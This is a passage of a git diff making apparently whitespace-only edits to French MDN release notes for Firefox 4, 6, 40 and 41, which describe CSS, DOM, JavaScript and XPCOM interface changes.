{{jsxref("String.prototype.match()")}}, {{jsxref("String.prototype.search()")}}, et {{jsxref("String.prototype.replace()")}} est désormais obsolètee et émet un avertissement de console ({{bug(1142351)}}). +- L'argument de `flags` non standard de {{jsxref("String.prototype.match()")}}, {{jsxref("String.prototype.search()")}}, et {{jsxref("String.prototype.replace()")}} est désormais obsolètee et émet un avertissement de console ({{bug(1142351)}}). - Le comportement try/catch de {{jsxref("Object.assign()")}} a été supprimé pour se conformer au dernier projet ES6 ({{bug(1103344)}}). ### Interfaces/APIs/DOM @@ -79,7 +79,7 @@ _Pas de changement._ ### Miscelleanous -- Le support des polices [WOFF2](/fr/docs/Web/Guide/WOFF) est désormais activé par défaut dans la version finale de Firefox (Beta et Release, en plus de Nightly et Developer Edition) ({{bug(1084026)}}). +- Le support des polices [WOFF2](/fr/docs/Web/Guide/WOFF) est désormais activé par défaut dans la version finale de Firefox (Beta et Release, en plus de Nightly et Developer Edition) ({{bug(1084026)}}). - L'option de ligne de commande [`-remote`](/fr/docs/Mozilla/Command_Line_Options#-remote_remote_command) a été supprimée ({{bug(1080319)}}). - Prise en charge des nouveaux [emoji de couleur chair Unicode 8.0](http://www.bbc.co.uk/newsbeat/article/32220611/diverse-thumbs-up-emojis-with-different-skin-tones-finally-here) ({{bug(1153460)}}). diff --git a/files/fr/mozilla/firefox/releases/4/index.md b/files/fr/mozilla/firefox/releases/4/index.md index bec0b1719c..ccdc8d6477 100644 --- a/files/fr/mozilla/firefox/releases/4/index.md +++ b/files/fr/mozilla/firefox/releases/4/index.md @@ -387,7 +387,7 @@ Les modifications suivantes ont étés apportées à l'interface [`CanvasRenderi - Obtention des limites des rectangles limites - : L'objet [`Range`](/fr/docs/Web/API/Range) a désormais les méthodes [`range.getClientRects()`](/fr/docs/Web/API/Range/getClientRects) et [`range.getBoundingClientRect()`](/fr/docs/Web/API/Range/getBoundingClientRect). - Capture des évènements de la souris sur des éléments quelconques - - : Ajout du support des APIs `setCapture()` et `releaseCapture()` originaires d'Internet Explorer. Voir [bug 503943](https://bugzilla.mozilla.org/show_bug.cgi?id=503943). + - : Ajout du support des APIs `setCapture()` et `releaseCapture()` originaires d'Internet Explorer. Voir [bug 503943](https://bugzilla.mozilla.org/show_bug.cgi?id=503943). - [Manipulation de l'historique du navigateur](/fr/docs/DOM/Manipulating_the_browser_history) - : L'objet de l'historique déjà existant et disponible via l'objet [`window.history`](/fr/docs/Web/API/Window/history), supporte maintenant les nouvelles méthodes HTML5 `pushState()` et `replaceState()`. - [Animations utilisant MozBeforePaint](/fr/docs/DOM/Animations_using_MozBeforePaint) @@ -499,7 +499,7 @@ Plusieurs éléments HTML ont vu leur interface DOM modifier, conformément à l #### Divers changements DOM -- L'enveloppement d'un élément [`<textarea>`](/fr/docs/Web/HTML/Element/textarea) peut maintenant être commandé via l'attribut DOM `wrap`. [bug 41464](https://bugzilla.mozilla.org/show_bug.cgi?id=41464) +- L'enveloppement d'un élément [`<textarea>`](/fr/docs/Web/HTML/Element/textarea) peut maintenant être commandé via l'attribut DOM `wrap`. [bug 41464](https://bugzilla.mozilla.org/show_bug.cgi?id=41464) - Les éléments [`<script>`](/fr/docs/Web/HTML/Element/script) crées avec [`document.createElement()`](/fr/docs/Web/API/Document/createElement) et insérés dans un document, se comportent désormais conformément à la spécification HTML5. Les scripts avec l'attribut `src` s'exécute dès que possible (sasn maintenir la commande) et les scripts sans l'attribut `src` s'exécute de manière simultanée. Pour faire des scripts d'insertion de scripts qui ont l'attribut `src` qui exécute l'ensemble dans l'ordre d'insertion, pour eux `.async=false`. - Les objets DOM [`file`](/fr/docs/Web/API/File) proposent désormais la propriété `url`. - Support de [FormData](/fr/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Using_FormData_objects) pour XMLHttpRequest. @@ -507,13 +507,13 @@ Plusieurs éléments HTML ont vu leur interface DOM modifier, conformément à l - La propriété [`document.currentScript`](/fr/docs/Web/API/Document/currentScript) vous permet de déterminer quel script de l'élément [`<script>`](/fr/docs/Web/HTML/Element/script) est en cours d'exécution. les nouveaux évènements [`element.onbeforescriptexecute`](/fr/docs/Web/API/Element/onbeforescriptexecute) et [`element.onafterscriptexecute`](/fr/docs/Web/API/Element/onafterscriptexecute) sont déclenchés avant et après l'éxécution d'un élément script. - Ajout de la propriété [`mozSourceNode`](/fr/docs/DragDrop/DataTransfer#mozSourceNode) à l'objet [`DragTransfer`](/fr/docs/DragDrop/DataTransfer). - Ajout de la méthode [`selection.modify()`](/fr/docs/DOM/Selection/modify) à l'objet [`Selection`](/fr/docs/Web/API/Selection), ce qui vous permet de facilement modifier la sélection de texte courant ou la position du curseur dans une fenêtre de navigateur. -- Le support de l'objet `window.directories` et de la fonctionnalité `directories` pour [`window.open`](/fr/docs/Web/API/Window/open), qui ne sont plus supportés dans les autres navigateurs, ont été enlevés. Utiliser `personalbar` à la place. [bug 474058](https://bugzilla.mozilla.org/show_bug.cgi?id=474058) +- Le support de l'objet `window.directories` et de la fonctionnalité `directories` pour [`window.open`](/fr/docs/Web/API/Window/open), qui ne sont plus supportés dans les autres navigateurs, ont été enlevés. Utiliser `personalbar` à la place. [bug 474058](https://bugzilla.mozilla.org/show_bug.cgi?id=474058) - La propriété [`event.mozInputSource`](/fr/docs/Web/API/Event/mozInputSource) a été ajoutée à l'interface utilisateur des évènements DOM, cette propriété non-standard vous permet de déterminer le type de l'appareil qui a généré un évènement. - L'évènement [`document.onreadystatechange`](/fr/docs/Web/API/Document/onreadystatechange) a été implémenté. - La méthode [`document.createElement`](/fr/docs/Web/API/Document/createElement) n'accepte plus `<` et `>` autour du nom de balise en mode quirks. - Les méthodes [`element.setCapture()`](/fr/docs/Web/API/Element/setCapture) et [`document.releaseCapture()`](/fr/docs/Web/API/Document/releaseCapture) ont été ajoutées, permettant à des éléments de poursuivre des évènements de la souris, même lorsqu'elle est en dehors de leur zone de suivi normal après que l'évènement `mousedown` soit survenu. - La propriété [`window.mozPaintCount`](/fr/docs/Web/API/Window/mozPaintCount) a été ajoutée, elle vous permet de déterminer le nombre de fois q'un document a été peint. Cela est particulièrement utile lors des tests de performance de votre application web. -- Le signe de la langue a été supprimé de [`window.navigator.appVersion`](/fr/docs/Web/API/Window/navigator/appVersion) et [`window.navigator.userAgent`](/fr/docs/Web/API/Window/navigator/userAgent). Utilisez [`window.navigator.language`](/fr/docs/Web/API/Window/navigator/language) ou [l'en-tête Accept-Language](/fr/docs/HTTP/Content_negotiation) à la place. [bug 572656](https://bugzilla.mozilla.org/show_bug.cgi?id=572656) +- Le signe de la langue a été supprimé de [`window.navigator.appVersion`](/fr/docs/Web/API/Window/navigator/appVersion) et [`window.navigator.userAgent`](/fr/docs/Web/API/Window/navigator/userAgent). Utilisez [`window.navigator.language`](/fr/docs/Web/API/Window/navigator/language) ou [l'en-tête Accept-Language](/fr/docs/HTTP/Content_negotiation) à la place. [bug 572656](https://bugzilla.mozilla.org/show_bug.cgi?id=572656) - L'objet [XMLHttpRequest](/fr/docs/XMLHttpRequest) expose maintenant la réponse comme un tableau JavaScript typé et aussi comme une chaîne, en utilisant la propriété, spécifique de Gecko, `mozResponseArrayBuffer`. - [Mouse events](/fr/docs/DOM/MouseEvent) inclut maintenant une propriété `mozPressure` indiquant le niveau de pression supporté sur les périphériques d'entrée sensibles à la pression. - Les méthodes [`window.URL.createObjectURL()`](/fr/docs/Web/API/Window/URL/createObjectURL) et [`window.URL.revokeObjectURL()`](/fr/docs/Web/API/Window/URL/revokeObjectURL) vous permettent de créer des URLs d'objet qui renvoient à des fichiers locaux. @@ -535,7 +535,7 @@ Plusieurs éléments HTML ont vu leur interface DOM modifier, conformément à l - [L'en-tête de réponse X-FRAME-OPTIONS](/fr/docs/The_X-FRAME-OPTIONS_response_header) - : L'en-tête de réponse X-FRAME-OPTIONS HTTP introduite dans Internet Explorer 8 est désormais supportée par Firefox. Cela permet aux sites d'indiquer si leurs pages peuvent être utilisées dans des frames ou si l'utilisation de la page doit être restreint. - Changement de la [chaîne de l'agent utilisateur](/fr/docs/Gecko_user_agent_string_reference) - - : C'est un moyen de réduire la quantité et l'entropie des données envoyées dans les requêts HTPP (voir [bug 572650](https://bugzilla.mozilla.org/show_bug.cgi?id=572650)), le niveau de cryptage et le signe de la langue ont été enlevés de la chaîne de l'agent utilisateur. + - : C'est un moyen de réduire la quantité et l'entropie des données envoyées dans les requêts HTPP (voir [bug 572650](https://bugzilla.mozilla.org/show_bug.cgi?id=572650)), le niveau de cryptage et le signe de la langue ont été enlevés de la chaîne de l'agent utilisateur. ### JavaScript @@ -671,7 +671,7 @@ En plus des changements spécifiques référencés ci-dessous, il est important - Les résultats de la requête peuvent maintenant être observés par plusieurs observateurs, et les requêtes peuvent être exécutées de manière asynchrone. Cela signifie qu'il y a eu des changements dans les interfaces [`nsINavHistoryResult`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResult), [`nsINavHistoryQueryOptions`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQueryOptions) et [`nsINavHistoryContainerResultNode`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryContainerResultNode). De plus, l'interface [`nsINavHistoryResultViewer`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResultViewer) a été renommée en [`nsINavHistoryResultObserver`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResultObserver). - De [nouvelles notifications](/fr/docs/Observer_Notifications#Places) ont été ajoutées pour permettre au navigateur de suivre la procédure d'arrêt du service Places de manière plus fiable. Parmi celles-ci, la plupart sont pour un usage interne uniquement, mais la notification `places-connection-closed` est disponible pour savoir quand le service Places a terminé sont processus d'arrêt. - Le paramètre de sortie de la taille d'un tableau sur plusieurs méthodes Places est désormais optionnel. -- Le support de `<menupopup type="places">` a été supprimé. A la place, vous devez créer et remplir un menu avec ds informations Places manuellement, plutôt que de l'avoir fait pour vous. Voir [Displaying Places information using views: Menu view](/fr/docs/Displaying_Places_information_using_views#Menu_view) pour plus de détails. +- Le support de `<menupopup type="places">` a été supprimé. A la place, vous devez créer et remplir un menu avec ds informations Places manuellement, plutôt que de l'avoir fait pour vous. Voir [Displaying Places information using views: Menu view](/fr/docs/Displaying_Places_information_using_views#Menu_view) pour plus de détails. ### Changements dans les interfaces @@ -689,7 +689,7 @@ En plus des changements spécifiques référencés ci-dessous, il est important - Les interfaces [`nsIContentView`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentView) et [`nsIContentViewManager`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentViewManager) ont été ajoutées pour Firefox Mobile. Ils représentent une vue déroulant le contenu dont le contenu est actuellement utilisé par un processus séparé. - L'interface [`nsIDiskCacheStreamInternal`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDiskCacheStreamInternal) a été ajoutée. - L'interface [`nsIExternalURLHandlerService`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIExternalURLHandlerService) a été ajoutée. -- L'interface [`nsISyncJPAKE`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISyncJPAKE) a été ajoutée. Voir [bug 601645](https://bugzilla.mozilla.org/show_bug.cgi?id=601645). +- L'interface [`nsISyncJPAKE`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISyncJPAKE) a été ajoutée. Voir [bug 601645](https://bugzilla.mozilla.org/show_bug.cgi?id=601645). ### Gestion de la mémoire @@ -716,7 +716,7 @@ En plus des changements spécifiques référencés ci-dessous, il est important - [Bootstrap des extensions](/fr/docs/Extensions/Bootstrapped_extensions) - : Vous pouvez désormais créer des extensions qui peuvent être installées, désinstallées et mises à jour sans nécessiter le redémarrage du navigateur. - Suppression des plugins par défaut - - : The default plugin has been removed. The application plugins folder has also been removed by default, however support for installing plugins via this folder still exists. Voir [bug 533891](https://bugzilla.mozilla.org/show_bug.cgi?id=533891). + - : The default plugin has been removed. The application plugins folder has also been removed by default, however support for installing plugins via this folder still exists. Voir [bug 533891](https://bugzilla.mozilla.org/show_bug.cgi?id=533891). - Extension Manager remplacé par Addon Manager - : [`nsIExtensionManager`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIExtensionManager) a été remplacée par [AddonManager](/fr/docs/Addons/Add-on_Manager/AddonManager). - Child HWNDs n'est plus utilisé diff --git a/files/fr/mozilla/firefox/releases/40/index.md b/files/fr/mozilla/firefox/releases/40/index.md index 8faa3593b0..c52818f709 100644 --- a/files/fr/mozilla/firefox/releases/40/index.md +++ b/files/fr/mozilla/firefox/releases/40/index.md @@ -41,7 +41,7 @@ Autres: [Tous les bugs devtools corrigés depuis Firefox 39 et Firefox 40](https - Règles de préfixe (`-moz-`) pour {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, et {{cssxref("text-decoration-style")}} ont été supprimé ({{bug(1097922)}}). - La propriété {{cssxref("text-align")}} supporte dorénavant la valeur `match-parent` bug(645642)}}). - Dans le mode Quirks, {{cssxref("empty-cells")}} a pour valeur par défaut `show`, comme dans le mode standard ({{bug(1020400)}}). -- La propriété non standard {{cssxref("-moz-orient")}}, utilisée pour faire un rendu sur les éléments {{HTMLElement('meter')}} et {{HTMLElement('progress')}} a été adaptée pour les modes d'écriture verticales: la valeur `auto` a été supprimée et les valeurs `inline` et `block` ajoutées, avec `inline` comme nouvelle valeur par défaut {{bug(1028716)}}). +- La propriété non standard {{cssxref("-moz-orient")}}, utilisée pour faire un rendu sur les éléments {{HTMLElement('meter')}} et {{HTMLElement('progress')}} a été adaptée pour les modes d'écriture verticales: la valeur `auto` a été supprimée et les valeurs `inline` et `block` ajoutées, avec `inline` comme nouvelle valeur par défaut {{bug(1028716)}}). ### HTML @@ -52,13 +52,13 @@ _pas de changement._ - Unreachable code after {{jsxref("Statements/return", "return")}} statement (including unreachable expression after {{jsxref("Statements/return", "semicolon-less return statements", "#Automatic_semicolon_insertion", 1)}}) will now show a warning in the console ({{bug(1005110)}}, {{bug(1151931)}}). - {{jsxref("Symbol.match")}} a été ajouté ({{bug(1054755)}}). - Passing an object which has a property named {{jsxref("Symbol.match")}} with a {{Glossary("truthy")}} value to {{jsxref("String.prototype.startsWith")}}, {{jsxref("String.prototype.endsWith")}}, and {{jsxref("String.prototype.contains")}} now throws a {{jsxref("TypeError")}} ({{bug(1054755)}}). -- {{jsxref("RegExp")}} function returns pattern itself if called without {{jsxref("Operators/new", "new")}} and pattern object has a property named {{jsxref("Symbol.match")}} with a {{Glossary("truthy")}} value, and the pattern object's `constructor` property equals to {{jsxref("RegExp")}} function. ({{bug(1147817)}}). +- {{jsxref("RegExp")}} function returns pattern itself if called without {{jsxref("Operators/new", "new")}} and pattern object has a property named {{jsxref("Symbol.match")}} with a {{Glossary("truthy")}} value, and the pattern object's `constructor` property equals to {{jsxref("RegExp")}} function. ({{bug(1147817)}}). - Support for the non-standard JS1.7 destructuring for-in has been dropped ({{bug(1083498)}}). - [Les initialiseurs d'expression non-standard ](/fr/docs/Web/JavaScript/Reference/Statements/for...in#Firefox-specific_notes)dans les boucles [for...in](/fr/docs/Web/JavaScript/Reference/Statements/for...in) sont dorénavant ignorés et seront indiqués par un avertissement dans la console. ({{bug(748550)}} et {{bug(1164741)}}). - [`\u{xxxxxx}`](/fr/docs/Web/JavaScript/Reference/Lexical_grammar#Unicode_code_point_escapes) Unicode code point escapes have been added ({{bug(320500)}}). - {{jsxref("String.prototype.includes", "String.prototype.contains", "#String.prototype.contains")}} has been replaced with {{jsxref("String.prototype.includes")}}, `String.prototype.contains` is kept as an alias ({{bug(1102219)}}). - If the {{jsxref("DataView")}} constructor is called as a function without the {{ jsxref("Operators/new", "new") }} operator, a {{jsxref("TypeError")}} is now thrown as per the ES6 specification. -- An issue regressed in Firefox 21, where proxyfied arrays without the `get` trap were not working properly, has been fixed. If the `get` trap in a {{jsxref("Proxy")}} was not defined, {{jsxref("Array.length")}} returned `0` and the `set` trap didn't get called. A workaround was to add the `get` trap even if was not necessary in your code. This issue has been fixed now ({{bug(895223)}}). +- An issue regressed in Firefox 21, where proxyfied arrays without the `get` trap were not working properly, has been fixed. If the `get` trap in a {{jsxref("Proxy")}} was not defined, {{jsxref("Array.length")}} returned `0` and the `set` trap didn't get called. A workaround was to add the `get` trap even if was not necessary in your code. This issue has been fixed now ({{bug(895223)}}). - {{jsxref("WeakMap.prototype")}} and {{jsxref("WeakSet.prototype")}} have been updated to be just ordinary objects, per ES6 specification ({{bug(1055473)}}). - The {{jsxref("RegExp.prototype.source")}} property is now prototype accessor property rather than own data property of `RegExp` instances ({{bug(1120169)}}, {{bug(1150297)}}). @@ -89,7 +89,7 @@ Amélioration de notre implémentation des animations Web expérimentales, princ #### DOM & HTML DOM -- When unable to parse the {{htmlattrxref("srcset", "image")}}, the {{domxref("HTMLImageElement.currentSrc")}} method doesn't return `null` anymore but `""`, as requested by the latest specification ({{bug(1139560)}}). +- When unable to parse the {{htmlattrxref("srcset", "image")}}, the {{domxref("HTMLImageElement.currentSrc")}} method doesn't return `null` anymore but `""`, as requested by the latest specification ({{bug(1139560)}}). - Like for images, Firefox now throttle {{domxref("Window.requestAnimationFrame()")}} for non-visible {{HTMLElement("iframe")}} ({{bug(1145439)}}). - {{domxref("Navigator.taintEnabled")}} is no longer available for Web workers ({{bug(1154878)}}). - The read-only properties {{domxref("MouseEvent.offsetX")}} and {{domxref("MouseEvent.offsetY")}} have been implemented {{bug("69787")}}. @@ -98,7 +98,7 @@ Amélioration de notre implémentation des animations Web expérimentales, princ Nouvelles extensions pour l'[API Web Audio](/fr/docs/Web/API/Web_Audio_API): -- The {{domxref("AudioContext.state")}} and {{domxref("AudioContext.onstatechange")}} properties as well as the methods {{domxref("AudioContext.suspend()")}}, {{domxref("AudioContext.resume()")}}, and {{domxref("AudioContext.close()")}} have been added ({{bug(1094764)}}). +- The {{domxref("AudioContext.state")}} and {{domxref("AudioContext.onstatechange")}} properties as well as the methods {{domxref("AudioContext.suspend()")}}, {{domxref("AudioContext.resume()")}}, and {{domxref("AudioContext.close()")}} have been added ({{bug(1094764)}}). - {{domxref("AudioBufferSourceNode")}} now implements the {{domxref("AudioBufferSourceNode.detune")}} [k-rate](/fr/docs/DOM/AudioParam#k-rate) attribute ({{bug(1153783)}}). #### Web Workers diff --git a/files/fr/mozilla/firefox/releases/41/index.md b/files/fr/mozilla/firefox/releases/41/index.md index 16ce544e3d..a02366e3d0 100644 --- a/files/fr/mozilla/firefox/releases/41/index.md +++ b/files/fr/mozilla/firefox/releases/41/index.md @@ -40,7 +40,7 @@ Nouveautés: ### HTML -- {{HTMLElement("a")}} without an `href` attribute is no longer classified as interactive content. Clicking it inside {{HTMLElement("label")}} will activate labelled content ({{bug(1167816)}}). +- {{HTMLElement("a")}} without an `href` attribute is no longer classified as interactive content. Clicking it inside {{HTMLElement("label")}} will activate labelled content ({{bug(1167816)}}). - SVG icons are now supported for site icons, that is favicons and shortcut icons ({{bug(366324)}}). - The {{htmlattrxref('crossorigin', 'link')}} attribute is now supported for [\<link rel='preconnect'>](/fr/docs/Web/HTML/Element/link) ({{bug(1174152)}}). @@ -96,7 +96,7 @@ Nouveautés: #### Miscellaneous - On OS X and Windows, {{domxref("NavigatorOnLine.onLine", "Navigator.onLine")}} now changes regarding network connectivity (it always returned `true`, , unless "Work offline" mode was selected) before ({{bug(654579)}}). -- {{domxref("MessagePort")}} and {{domxref("MessageChannel")}} now available in [Web workers](/fr/docs/Web/API/Web_Workers_API), and are enabled by default in all contexts ({{bug(952139)}}) and ({{bug(911972)}}). +- {{domxref("MessagePort")}} and {{domxref("MessageChannel")}} now available in [Web workers](/fr/docs/Web/API/Web_Workers_API), and are enabled by default in all contexts ({{bug(952139)}}) and ({{bug(911972)}}). - The User Timing API is now available in [Web workers](/fr/docs/Web/API/Web_Workers_API) ({{bug(1155761)}}). - The [Notifications API](/fr/docs/Web/API/Notifications_API) is now available in [Web workers](/fr/docs/Web/API/Web_Workers_API) ({{bug(916893)}}). - {{domxref("DOMRequest")}} and {{domxref("DOMCursor")}} are now available in [Web workers](/fr/docs/Web/API/Web_Workers_API) ({{bug(1167650)}}). @@ -109,7 +109,7 @@ Nouveautés: #### New default and fallback font handling -Mathematical formulas require special fonts. So far, these fonts were hard-coded in the `mathml.css` user agent stylesheet (which sets the font-family on {{MathMLElement("math")}} tag) and in the preference option `font.mathfont-family` (which sets the fallback fonts to use for stretchy and large operators). Firefox 41 introduces, an internal `x-math` language that is automatically set on the `<math>` tag as well as corresponding preference options (e.g. `font.name.serif.x-math`). The user agent stylesheet now sets font-family to serif on the `<math>` tag and the preference option `font.mathfont-family` is replaced with `font.name.serif.x-math`. All platforms now essentially use the same list of fallback fonts, with "Latin Modern Math" as first one. The default/fallback fonts can be configured from the standard per-language font preference menu. For more details, see {{bug(947654)}} and {{bug(1160456)}}. +Mathematical formulas require special fonts. So far, these fonts were hard-coded in the `mathml.css` user agent stylesheet (which sets the font-family on {{MathMLElement("math")}} tag) and in the preference option `font.mathfont-family` (which sets the fallback fonts to use for stretchy and large operators). Firefox 41 introduces, an internal `x-math` language that is automatically set on the `<math>` tag as well as corresponding preference options (e.g. `font.name.serif.x-math`). The user agent stylesheet now sets font-family to serif on the `<math>` tag and the preference option `font.mathfont-family` is replaced with `font.name.serif.x-math`. All platforms now essentially use the same list of fallback fonts, with "Latin Modern Math" as first one. The default/fallback fonts can be configured from the standard per-language font preference menu. For more details, see {{bug(947654)}} and {{bug(1160456)}}. ### SVG diff --git a/files/fr/mozilla/firefox/releases/6/index.md b/files/fr/mozilla/firefox/releases/6/index.md index 6c8b1664fd..a95fd7aff0 100644 --- a/files/fr/mozilla/firefox/releases/6/index.md +++ b/files/fr/mozilla/firefox/releases/6/index.md @@ -79,7 +79,7 @@ Firefox 6, basé sur Gecko 6.0, est sorti le 16 août 2011. Cet article fournit - Avant, la pseudo-classe [`:hover`](/fr/docs/Web/CSS/:hover) n'était pas appliquée aux sélecteurs de classe quand on était en mode quirks, par exemple, `.someclass:hover` ne fonctionne pas. Cette bizarrerie a été enlevée. - La pseudo-classe [`:indeterminate`](/fr/docs/Web/CSS/:indeterminate) peut être appliquée à l'élément [`<progress>`](/fr/docs/Web/HTML/Element/progress). Cela n'est pas un standard, mais nous espérons que ce soit adopté par les autres navigateurs car c'est utile. - La valeur `-moz-win-exclude-glass` a été ajoutée à la propriété CSS [`-moz-appearance`](/fr/docs/Web/CSS/-moz-appearance) afin d'exclure des zones opaques dans les effets d'Aero Glass sur les systèmes Windows. -- Le [bug 658949](https://bugzilla.mozilla.org/show_bug.cgi?id=658949) change la façon dont le symbole dièse (#) est traité dans les données URI qui peut briser les feuilles de style CSS qui contiennent un tel symbole. +- Le [bug 658949](https://bugzilla.mozilla.org/show_bug.cgi?id=658949) change la façon dont le symbole dièse (#) est traité dans les données URI qui peut briser les feuilles de style CSS qui contiennent un tel symbole. ### DOM @@ -94,7 +94,7 @@ Firefox 6, basé sur Gecko 6.0, est sorti le 16 août 2011. Cet article fournit - `navigator.securityPolicy`, qui a depuis longtemps retourné une chaîne vide, a simplement été supprimé. - [`BlobBuilder`](/fr/docs/Web/API/BlobBuilder) est maintenant implémenté, même si pour l'instant il est préfixé (vous devez utiliser `MozBlobBuilder`). -- [`document.height`](/fr/docs/Web/API/Document/height) et [`document.width`](/fr/docs/Web/API/Document/width) ont été supprimées. [bug 585877](https://bugzilla.mozilla.org/show_bug.cgi?id=585877) +- [`document.height`](/fr/docs/Web/API/Document/height) et [`document.width`](/fr/docs/Web/API/Document/width) ont été supprimées. [bug 585877](https://bugzilla.mozilla.org/show_bug.cgi?id=585877) - Les propriétés `entities` et `notations` de l'objet [`DocumentType`](/fr/docs/Web/API/DocumentType), qui n'ont jamais été implémentées et renvoyées toujours `null`, ont été retirées, car elles ont également été enlevées de la spécification. - L'interface `DOMConfiguration` et la propriété `document.domConfig` qu'elle utilisait ont été supprimées, elles n'ont jamais été supportées et ont depuis été retirées de la spécification DOM. - L'évènement `hashchange` comprend désormais [les champs `newURL` et `oldURL`](/fr/docs/DOM/window.onhashchange#The_hashchange_event). @@ -109,7 +109,7 @@ Firefox 6, basé sur Gecko 6.0, est sorti le 16 août 2011. Cet article fournit - La fonction `EventTarget` de la méthode [`addEventListener()`](/fr/docs/XPCOM_Interface_Reference/nsIDOMEventTarget) est désormais facultative, car ça l'est dans WebKit (et aussi dans la dernière version de la spécification). - La propriété `mozResponseArrayBuffer` de l'objet [`XMLHttpRequest`](/fr/docs/XMLHttpRequest) a été remplacé par les propriétés `responseType` et `response`. - La propriété [`element.dataset`](/fr/docs/Web/API/Element/dataset) a été ajoutée à l'interface [`HTMLElement`](/fr/docs/DOM/HTMLElement) permettant d'accéder aux attributs globaux [`data-*` global attributes](/fr/docs/HTML/Global_attributes#attr-data-*) d'un élément. -- L'interface [`CustomEvent`](/fr/docs/Web/API/CustomEvent) a été implémentée. (voir [bug 427537](https://bugzilla.mozilla.org/show_bug.cgi?id=427537)) +- L'interface [`CustomEvent`](/fr/docs/Web/API/CustomEvent) a été implémentée. (voir [bug 427537](https://bugzilla.mozilla.org/show_bug.cgi?id=427537)) - Pour des raisons de sécurité, les URIs `data:` et `javascript:` n'héritent plus de l'environnment de sécurité de la page active lorsque l'utilisateur les saisit dans la barre d'adresse, mais un nouvel environnment de sécurité vide est créé. Par exemple, le script chargé en entrant l'URI `javascript:` dans la barre d'adresse n'a plus accès aux méthodes DOM et similaires. Ces URIs continueront à travailler comme avant lorsqu'elles sont utilisées par le script. ### JavaScript @@ -147,7 +147,7 @@ Firefox 6, basé sur Gecko 6.0, est sorti le 16 août 2011. Cet article fournit - Le support des microrésumés a été enlevé, ils n'ont jamais été très utilisés, n'étaient pas très détectable et continuer leur support été d'apporter des améliorations à Places (favoris et historique) à l'architecture difficile. - WebGL supporte maintenant l'extension [`OES_texture_float`](http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt). - Le nouvel outil [Ardoise](/fr/docs/Outils/Ardoise) offre un endroit pratique pour expérimenter du code JavaScript. -- La méthode `console.trace()` a été ajouté à [ConsoleAPI](/fr/docs/Tools/Web_Console) (voir [bug 585956](https://bugzilla.mozilla.org/show_bug.cgi?id=585956)). +- La méthode `console.trace()` a été ajouté à [ConsoleAPI](/fr/docs/Tools/Web_Console) (voir [bug 585956](https://bugzilla.mozilla.org/show_bug.cgi?id=585956)). ## Changements pour les développeurs de Mozilla et de modules complémentaires @@ -199,29 +199,29 @@ Pour des conseils utiles sur la mise à jour des extensions pour Firefox 6, voir - [`nsIStructuredCloneContainer`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIStructuredCloneContainer) - : Un conteneur pour les objets qui ont été sérialisé à l'aide de [l'algorithme de clonage structuré](/en/HTML/Structured_clones). - [`nsITelemetry`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsITelemetry) - - : Implémentation du support de la télémétrie permettant d'enregistrer des données de télémétrie pour être utilisé pour présenter des histogrammes à des fins de suivi des performances. Voir [bug 649502](https://bugzilla.mozilla.org/show_bug.cgi?id=649502) et [bug 585196](https://bugzilla.mozilla.org/show_bug.cgi?id=585196). + - : Implémentation du support de la télémétrie permettant d'enregistrer des données de télémétrie pour être utilisé pour présenter des histogrammes à des fins de suivi des performances. Voir [bug 649502](https://bugzilla.mozilla.org/show_bug.cgi?id=649502) et [bug 585196](https://bugzilla.mozilla.org/show_bug.cgi?id=585196). - [`nsITimedChannel`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsITimedChannel) - - : Voir [bug 576006](https://bugzilla.mozilla.org/show_bug.cgi?id=576006). + - : Voir [bug 576006](https://bugzilla.mozilla.org/show_bug.cgi?id=576006). - [`nsIWebSocketListener`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebSocketListener) - - : Voir [bug 640003](https://bugzilla.mozilla.org/show_bug.cgi?id=640003). + - : Voir [bug 640003](https://bugzilla.mozilla.org/show_bug.cgi?id=640003). - [`nsIWebSocketProtocol`](/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebSocketProtocol) - - : Voir [bug 640003](https://bugzilla.mozilla.org/show_bug.cgi?id=640003). + - : Voir [bug 640003](https://bugzilla.mozilla.org/show_bug.cgi?id=640003). #### Interfaces supprimées Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables : -- `nsIDOMDocumentEvent` (voir [bug 655517](https://bugzilla.mozilla.org/show_bug.cgi?id=655517)) -- `nsIDOMDocumentTraversal` (voir [bug 655514](https://bugzilla.mozilla.org/show_bug.cgi?id=655514)) -- `nsIDOMDocumentRange` (voir [bug 655513](https://bugzilla.mozilla.org/show_bug.cgi?id=655513)) -- `IWeaveCrypto` (voir [bug 651596](https://bugzilla.mozilla.org/show_bug.cgi?id=651596)) -- `nsIDOM3DocumentEvent` (voir [bug 481863](https://bugzilla.mozilla.org/show_bug.cgi?id=481863)) +- `nsIDOMDocumentEvent` (voir [bug 655517](https://bugzilla.mozilla.org/show_bug.cgi?id=655517)) +- `nsIDOMDocumentTraversal` (voir [bug 655514](https://bugzilla.mozilla.org/show_bug.cgi?id=655514)) +- `nsIDOMDocumentRange` (voir [bug 655513](https://bugzilla.mozilla.org/show_bug.cgi?id=655513)) +- `IWeaveCrypto` (voir [bug 651596](https://bugzilla.mozilla.org/show_bug.cgi?id=651596)) +- `nsIDOM3DocumentEvent` (voir [bug 481863](https://bugzilla.mozilla.org/show_bug.cgi?id=481863)) - `nsIDOMAbstractView` - `nsILiveTitleNotificationSubject` -- `nsIPlugin` (voir [bug 